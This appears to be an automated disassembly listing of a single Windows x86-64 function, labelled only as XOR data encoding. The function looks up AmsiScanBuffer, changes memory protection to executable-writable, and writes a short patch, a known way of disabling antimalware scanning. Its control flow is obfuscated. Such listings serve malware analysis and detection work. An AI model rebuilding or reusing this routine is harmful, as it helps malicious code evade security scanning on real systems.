Function at 0x1400d2891
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
lea rdx, [rsp + 0x2c]
mov qword [rsp + 0x60], rdx
mov rax, qword [rsp + 0x60]
lea rbp, [rsp + 0x44]
mov qword [rsp + 0x68], rbp
mov rax, qword [rsp + 0x68]
lea rbx, [rsp + 0xc0]
mov qword [rsp + 0x70], rbx
mov rax, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
lea rcx, [rsp + 0xb8]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
xor esi, esi
mov dword [rdx], esi
mov dword [rbp], esi
mov qword [rbx], 0
mov qword [rax], 6
lea rcx, [0x140118468]
call fcn.14001cc6a
mov rcx, rax
xor edx, edx
call fcn.14009e514
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x38], rax
lea rax, [0x1401aad00]
movsxd rcx, dword [rsi + rax]
xor dword [rsp + rcx*4 + 0x80], 0x78c104ba
add rsi, 4
cmp rsi, 0x2c
jne 0x1400d2956
mov eax, 0x775b11f8
xor ecx, ecx
mov qword [rsp + 0x50], rcx
lea r15, [0x1401aad48]
lea r13, [0x1401aad30]
lea rdi, [0x1401aacd0]
xor ecx, ecx
mov qword [rsp + 0x48], rcx
xor esi, esi
cmp eax, 0x5fcc2876
jle 0x1400d2a0f
cmp eax, 0x771e161a
jle 0x1400d2aa5
cmp eax, 0x771e161b
je 0x1400d2b2b
cmp eax, 0x7cbfe930
je 0x1400d2b47
cmp eax, 0x775b11f8
jne 0x1400d2999
mov rax, qword [rsp + 0x38]
cmp byte [rsp + 0x50], 0
jne 0x1400d29ef
xor ecx, ecx
movsxd rdx, dword [rcx + rdi]
xor dword [rsp + rdx*4 + 0x80], 0x7a21c57f
add rcx, 4
cmp rcx, 0x28
jne 0x1400d29d6
test rax, rax
mov eax, 0x47eed8a
mov ecx, 0x6b0c795f
cmove eax, ecx
xor eax, dword [rsp + 0x80]
mov cl, 1
mov qword [rsp + 0x50], rcx
jmp 0x1400d2999
cmp eax, 0x23b1fc5e
jle 0x1400d2ad6
cmp eax, 0x23b1fc5f
je 0x1400d2bbf
cmp eax, 0x2529ff56
je 0x1400d2bd8
cmp eax, 0x5c59b6c3
jne 0x1400d2999
mov rcx, qword [0x1401c82b0]
mov rdx, qword [rsp + 0x38]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 6
lea r8, [0x140118498]
call qword [0x1401c82b8]
mov rcx, qword [0x1401c82b0]
mov r9d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x30]
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
call qword [0x1401c82a8]
mov eax, dword [rsp + 0x94]
mov ecx, 0x28158bd0
xor eax, ecx
mov r12b, 1
xor ebp, ebp
jmp 0x1400d2999
cmp eax, 0x5fcc2877
je 0x1400d2bf2
cmp eax, 0x69603052
jne 0x1400d2c34
mov eax, dword [rsp + 0x90]
mov ecx, 0x28158bd0
xor eax, ecx
mov ebp, 4
xor r12d, r12d
jmp 0x1400d2999
cmp eax, 0x13cd7de5
je 0x1400d2c0d
cmp eax, 0x1b98f6ac
jne 0x1400d2999
test sil, sil
jne 0x1400d2b0c
xor eax, eax
movsxd rcx, dword [rax + r15]
xor dword [rsp + rcx*4 + 0x80], 0x23b3651a
add rax, 4
cmp rax, 0xc
jne 0x1400d2af3
cmp ebp, 4
mov eax, 0x44936b67
mov ecx, 0x6c41550b
cmovl eax, ecx
xor eax, dword [rsp + 0x98]
mov sil, 1
jmp 0x1400d2999
cmp ebp, 4
mov eax, 0x727e4714
mov ecx, 0x3517e730
cmove eax, ecx
xor eax, dword [rsp + 0x9c]
jmp 0x1400d2999
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xb8], rax
mov rcx, qword [0x1401c82b0]
mov rdx, qword [rsp + 0x30]
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov r9d, 0x40
call qword [0x1401c82a8]
cmp byte [rsp + 0x48], 0
jne 0x1400d2b9d
xor ecx, ecx
movsxd rdx, dword [rcx + r13]
xor dword [rsp + rdx*4 + 0x80], 0x316dbcb9
add rcx, 4
cmp rcx, 0x18
jne 0x1400d2b84
test eax, eax
mov eax, 0x6b80f197
mov ecx, 0x5eb97706
cmove eax, ecx
xor eax, dword [rsp + 0x8c]
mov cl, 1
mov qword [rsp + 0x48], rcx
jmp 0x1400d2999
mov ebx, r14d
and bl, 1
mov eax, dword [rsp + 0xa8]
mov ecx, 0x60a09eb7
xor eax, ecx
jmp 0x1400d2999
mov r14d, r12d
and r14b, 1
mov eax, dword [rsp + 0xa4]
mov ecx, 0x338fe439
xor eax, ecx
jmp 0x1400d2999
test ebp, ebp
mov eax, 0x727e4714
mov ecx, 0x3517e730
cmove eax, ecx
xor eax, dword [rsp + 0xa0]
jmp 0x1400d2999
mov edx, 1
lea rcx, [0x140118490]
call fcn.1400075e8
mov eax, dword [rsp + 0x88]
mov ecx, 0x21513d9a
xor eax, ecx
xor r14d, r14d
jmp 0x1400d2999
cmp eax, 0x62405f72
jne 0x1400d2999
mov rax, qword [rsp + 0x30]
mov rax, qword [rsp + 0x78]
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
mov rax, qword [rsp + 0x60]
and bl, 1
mov eax, ebx
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret